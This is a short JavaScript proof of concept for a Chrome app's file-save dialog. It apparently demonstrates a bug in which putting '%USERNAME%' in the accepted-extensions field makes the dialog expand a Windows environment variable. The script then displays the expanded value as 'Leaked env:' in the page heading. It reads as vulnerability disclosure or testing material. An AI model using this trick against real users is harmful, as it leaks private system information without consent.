let opened = false;

document.body.onkeydown = e => {
  if (opened || e.key !== 'Enter') return;

  opened = true;
  chrome.fileSystem.chooseEntry({
    accepts: [{
      description: "Plain Text (*.txt)",
      extensions: ["%USERNAME%"]
    }],
    suggestedName: 'unsuspiciousFilename',
    type: 'saveFile'
  }, (file) => {
    document.querySelector('h1').innerText = 'Leaked env: ' + file.name;
  });
};